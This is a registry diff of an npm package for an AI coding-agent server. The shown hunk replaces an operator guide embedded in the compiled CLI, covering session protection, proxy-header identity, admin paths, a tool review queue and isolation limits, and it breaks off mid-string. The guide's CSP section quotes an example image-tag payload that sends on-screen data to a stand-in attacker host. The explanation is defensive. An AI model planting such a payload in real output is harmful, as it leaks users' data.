@chosengeneration/light-code 0.37.0 → 0.39.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +291 -18
- package/dist/client/client.js +57 -57
- package/dist/server.js +263 -14
- package/package.json +1 -1
package/dist/cli.js
CHANGED
|
@@ -24550,7 +24550,7 @@ function refusalFor(messageType) {
|
|
|
24550
24550
|
}
|
|
24551
24551
|
|
|
24552
24552
|
// src/generated/operatorGuide.ts
|
|
24553
|
-
var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1b-i. Being launched by another application\r\n\r\nLight Code is often started *by* something else \u2014 a Streamlit app, a wrapper script, a container\r\nentrypoint \u2014 which already holds the credentials and already has a Python environment set up. Two\r\nthings make that work without duplicating either.\r\n\r\n### The API key can come from the environment\r\n\r\nPut `env:API_TOKEN` in the API key field (or in `auth.apiKeyRef` in the config file) and the key is\r\nread from that environment variable instead of being stored:\r\n\r\n```jsonc\r\n{\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Internal gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal.example/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "env:API_TOKEN" }\r\n }\r\n ],\r\n "activeProfileId": "gateway"\r\n}\r\n```\r\n\r\nNothing is written to the keychain, and the variable is read fresh on every request. From Python:\r\n\r\n```python\r\nimport os, subprocess\r\nos.environ["API_TOKEN"] = my_internal_lib.get_apigee_token()\r\nsubprocess.Popen(["npx", "@chosengeneration/light-code"], env=os.environ)\r\n```\r\n\r\n**It must be exported before Light Code starts.** A process cannot see a variable its parent set\r\nafterwards, so a token exported later \u2014 or set only in the parent\'s own shell \u2014 is invisible. If\r\nthe panel shows the key as missing, that is what it is telling you: the variable is not set *in\r\nthis process*. The message names the variable.\r\n\r\n### A token that expires needs a command, not a variable\r\n\r\nThe catch with the above is that **a parent cannot change a running child\'s environment**. An\r\nApigee token is typically good for an hour; a session that outlives it starts failing every request\r\nwith no way back except a restart.\r\n\r\nSo a profile can fetch its own token by running a command \u2014 whatever the parent already uses:\r\n\r\n```jsonc\r\n{\r\n "auth": {\r\n "type": "tokenCommand",\r\n "tokenCommand": {\r\n "command": ["python", "-c", "import my_internal_lib; print(my_internal_lib.get_apigee_token())"],\r\n "fallbackExpirySeconds": 3600,\r\n "refreshSkewSeconds": 60\r\n }\r\n }\r\n}\r\n```\r\n\r\nThe credential logic stays in the one library that owns it, and Light Code never learns how the\r\ngateway\'s auth works. It refreshes proactively before expiry, shares one fetch across concurrent\r\nrequests, and checks the remaining lifetime before opening a stream so a token cannot expire\r\nmid-response.\r\n\r\nIf the command prints JSON instead of a bare token, name the fields:\r\n\r\n```jsonc\r\n{ "tokenPath": "access_token", "expiresInPath": "expires_in" }\r\n```\r\n\r\nNotes worth having in advance:\r\n\r\n- **`command` is argv, never a shell string.** It is spawned directly, so nothing is parsed by a\r\n shell \u2014 no pipes, no redirection, and a path with a space is one argument. Write a script if you\r\n need shell logic; that is a better place for it anyway.\r\n- **Print only the token.** Output containing whitespace is refused rather than sent as a bearer\r\n token, because a warning line prepended to the token produces a 401 that looks like a bad\r\n credential.\r\n- **It runs a program you name**, so it is exactly as powerful as the account Light Code runs\r\n under. It is configured in the config file rather than in the panel, and on a shared server it\r\n has no business in a personal profile.\r\n\r\n### Python without uv or a virtualenv\r\n\r\nIf the environment that launched Light Code already has the libraries your tools need \u2014 a Streamlit\r\napp\'s own interpreter, a conda environment, a container image \u2014 point it at that interpreter and it\r\nwill use it as it is:\r\n\r\n```jsonc\r\n{ "python": { "dynamicTools": "on", "interpreterPath": "/usr/bin/python3" } }\r\n```\r\n\r\nLeave `interpreterPath` unset and it falls back to `python3`, then `python`, from `PATH` \u2014 but only\r\nwhen `uv` is absent. uv is still preferred when it is available, because then Light Code owns the\r\nenvironment and can manage it.\r\n\r\n**In this mode Light Code does not install or remove packages.** That environment belongs to\r\nwhatever started it, and `pip install` into it could break the application serving your users. A\r\ntool whose imports are already satisfied works; one declaring a dependency that is not there is\r\nrefused at creation, naming the package, so you install it the way you install everything else\r\nthere. The Python tab says which mode is in use and why.\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
|
|
24553
|
+
var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> 